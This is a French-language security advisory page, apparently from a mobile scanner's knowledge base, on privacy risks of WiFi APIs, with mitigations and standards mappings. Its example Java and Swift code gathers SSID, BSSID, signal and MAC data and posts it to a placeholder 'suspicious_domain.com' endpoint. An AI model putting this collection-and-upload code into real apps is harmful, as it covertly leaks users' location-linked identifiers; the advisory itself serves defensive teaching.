Aller au contenu

Préoccupations concernant les informations personnellement identifiables via l'API WiFi mobile

Description

Préoccupations concernant les informations personnellement identifiables via l'API WiFi

Les applications mobiles disposant d'un accès à l'API WiFi peuvent obtenir des informations personnellement identifiables (PII) telles que les noms de réseaux et l'historique d'utilisation des points d'accès, ce qui peut conduire à l'inférence de données privées.

Les applications utilisant des autorisations et des API liées au WiFi peuvent accéder à des informations sensibles sur les points d'accès WiFi (telles que les identifiants, les noms et l'intensité des signaux) et potentiellement déduire :

  • Des identifiants uniques d'appareil
  • Des données de géolocalisation en utilisant les points d'accès WiFi environnants
  • L'historique des déplacements de l'utilisateur et les liens sociaux en s'appuyant sur des modèles récurrents d'utilisation des points d'accès WiFi

Exemples

   import android.content.Context;
   import android.net.wifi.WifiInfo;
   import android.net.wifi.WifiManager;
   import java.net.HttpURLConnection;
   import java.net.URL;
   import java.io.OutputStream;
   import java.nio.charset.StandardCharsets;

   public class WifiInfoRetriever {

       private Context context;

       public WifiInfoRetriever(Context context) {
           this.context = context;
       }

       public void retrieveWifiInfo() {
           WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);

           if (wifiManager.isWifiEnabled()) {
               WifiInfo wifiInfo = wifiManager.getConnectionInfo();

               String ssid = wifiInfo.getSSID();
               String bssid = wifiInfo.getBSSID();
               int rssi = wifiInfo.getRssi();
               String macAddress = wifiInfo.getMacAddress();

               // Construct JSON with data
               String jsonInputString = String.format("{\"ssid\":\"%s\", \"bssid\":\"%s\", \"rssi\":%d, \"macAddress\":\"%s\"}",
               ssid, bssid, rssi, macAddress);

               try {
                   // Endpoint URL
                   URL url = new URL("http://suspicious_domain.com/api/networks");
                   HttpURLConnection connection = (HttpURLConnection) url.openConnection();

                   // Connection setup
                   connection.setDoOutput(true);
                   connection.setRequestMethod("POST");
                   connection.setRequestProperty("Content-Type", "application/json");

                   try (OutputStream os = connection.getOutputStream()) {
                       byte[] input = jsonInputString.getBytes(StandardCharsets.UTF_8);
                       os.write(input, 0, input.length);
                   }
                   // Additional analysis could be performed when the data reaches the endpoint
                   // such as inferring location or movement patterns of users             
                   connection.disconnect();
               } catch (Exception e) {
                   e.printStackTrace();
               }
           } else {
               System.out.println("WiFi is not enabled");
           }
       }
   }
   import Foundation
   import SystemConfiguration.CaptiveNetwork
   import NetworkExtension

   class WifiInfoRetriever {

       func retrieveWifiInfo() {
           // Get current WiFi information
           guard let interfaces = CNCopySupportedInterfaces() as? [String] else {
               print("Unable to get network interfaces")
               return
           }

           var wifiData: [String: String] = [:]

           for interface in interfaces {
               if let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any] {
                   wifiData["ssid"] = networkInfo[kCNNetworkInfoKeySSID as String] as? String
                   wifiData["bssid"] = networkInfo[kCNNetworkInfoKeyBSSID as String] as? String
               }
           }

           // Check if data was retrieved
           if !wifiData.isEmpty {
               // Convert to JSON
               guard let jsonData = try? JSONSerialization.data(withJSONObject: wifiData, options: []) else {
                   print("Could not convert to JSON")
                   return
               }

               // Create request
               guard let url = URL(string: "http://suspicious_domain.com/api/networks") else {
                   return
               }

               var request = URLRequest(url: url)
               request.httpMethod = "POST"
               request.httpBody = jsonData
               request.addValue("application/json", forHTTPHeaderField: "Content-Type")

               // Send data to server
               let task = URLSession.shared.dataTask(with: request) { data, response, error in
                   // Handle response as needed
                   // Data could be used to infer user location and movement patterns
               }
               task.resume()
           } else {
               print("WiFi information not available")
           }
       }
   }

Recommandation

Atténuation des risques de confidentialité de l'API WiFi

Afin d'atténuer les risques de confidentialité associés à l'accès des API WiFi mobiles aux informations personnellement identifiables (PII), les utilisateurs et les développeurs peuvent prendre plusieurs précautions :

Pour les utilisateurs :

  • Maintenir le système d'exploitation mobile et toutes les applications à jour avec les dernières versions.
  • Être prudent lors de l'octroi d'autorisations liées au WiFi aux applications.
  • Utiliser un VPN lors de la connexion à des réseaux WiFi publics.
  • Examiner régulièrement les autorisations des applications dans les paramètres de l'appareil.

Pour les développeurs :

  • Demander une autorisation explicite à l'utilisateur pour accéder aux informations WiFi sensibles.
  • Mettre en œuvre le principe du « moindre privilège », en ne demandant et n'utilisant que les autorisations minimales nécessaires au fonctionnement de l'application.
  • Hacher ou anonymiser toute donnée WiFi avant de la stocker ou de la transmettre.
  • Fournir des politiques de confidentialité claires expliquant comment les informations WiFi sont utilisées.
  • Évaluer si les informations WiFi sont véritablement nécessaires à la fonctionnalité de l'application.

Exemples de code pour les développeurs :

// Request appropriate permissions
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
    != PackageManager.PERMISSION_GRANTED) {
    ActivityCompat.requestPermissions(this,
           new String[]{Manifest.permission.ACCESS_FINE_LOCATION},
           PERMISSION_REQUEST_CODE);
}

// Use Android 10+ methods whenever possible
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
    // Use Android 10+ compliant methods
    // For example, WifiInfo.getSSID() and getBSSID() return masked values by default
} else {
    // Use methods for earlier Android versions
}

// Use privacy focused NetworkCallback API
ConnectivityManager connectivityManager = 
    (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);

NetworkRequest.Builder builder = new NetworkRequest.Builder();
builder.addTransportType(NetworkCapabilities.TRANSPORT_WIFI);

connectivityManager.registerNetworkCallback(builder.build(), new ConnectivityManager.NetworkCallback() {
    @Override
    public void onAvailable(Network network) {
        // Handle WiFi connection here without accessing PII
    }
});
// First, ensure you have proper permissions in Info.plist
// <key>NSLocationWhenInUseUsageDescription</key>
// <string>This app needs to access your location to find nearby WiFi networks</string>

import NetworkExtension

func requestWiFiPermission() {
    // Request permission before accessing WiFi information
    if #available(iOS 13.0, *) {
        NEHotspotHelper.register(options: nil, queue: .main) { (cmd) -> Void in
            // Handle commands appropriately
            print("Permission request processed")
        }
    }
}

// Use minimal WiFi information when necessary
func connectToKnownNetwork() {
    // Instead of collecting and storing SSID/BSSID pairs,
    // use the system's built-in capabilities
    if let configuration = NEHotspotConfiguration(ssid: "KnownNetwork") {
        NEHotspotConfigurationManager.shared.apply(configuration) { error in
            if let error = error {
                print("Error connecting: \(error.localizedDescription)")
            } else {
                print("Connected successfully")
            }
        }
    }
}

// If you must access WiFi information, anonymize it
func getAnonymizedWifiInfo() -> String? {
    guard let interfaces = CNCopySupportedInterfaces() as? [String],
          let interface = interfaces.first,
          let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any],
          let ssid = networkInfo[kCNNetworkInfoKeySSID as String] as? String else {
        return nil
    }

    // Hash the SSID instead of using it directly
    return ssid.data(using: .utf8)?.sha256Hash.hexString
}

// Extension for hashing
extension Data {
    var sha256Hash: Data {
        var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
        self.withUnsafeBytes {
            _ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
        }
        return Data(hash)
    }

    var hexString: String {
        return map { String(format: "%02hhx", $0) }.joined()
    }
}

Liens

Normes

  • CCPA:
    • CCPA_1798_100
    • CCPA_1798_110
    • CCPA_1798_115
    • CCPA_1798_135
    • CCPA_1798_150
  • CWE_TOP_25:
    • CWE_276
  • GDPR:
    • ART_1
    • ART_2
    • ART_3
    • ART_4
    • ART_5
    • ART_6
    • ART_9
    • ART_13
    • ART_14
    • ART_21
    • ART_32
  • OWASP_ASVS_L1:
    • V8_3_3
  • OWASP_MASVS_L1:
    • MSTG_ARCH_1
    • MSTG_ARCH_4
    • MSTG_ARCH_12
    • MSTG_STORAGE_1
    • MSTG_STORAGE_4
    • MSTG_STORAGE_12
    • MSTG_CODE_5
  • OWASP_MASVS_L2:
    • MSTG_ARCH_12
    • MSTG_STORAGE_12
    • MSTG_STORAGE_4
  • HIPAA_CONTROLS:
    • SECURITY221
    • SECURITY212
    • SECURITY213
  • OWASP_MASVS_v2_1:
    • MASVS_PRIVACY_1
    • MASVS_PRIVACY_3
    • MASVS_STORAGE_2
    • MASVS_CODE_1
    • MASVS_CODE_3
  • CNIL_FOR_EDITORS:
    • EDITORS_1_1_1
    • EDITORS_1_2_3
    • EDITORS_5_1_5
  • CNIL_FOR_DEVELOPERS:
    • DEVELOPERS_2_2_4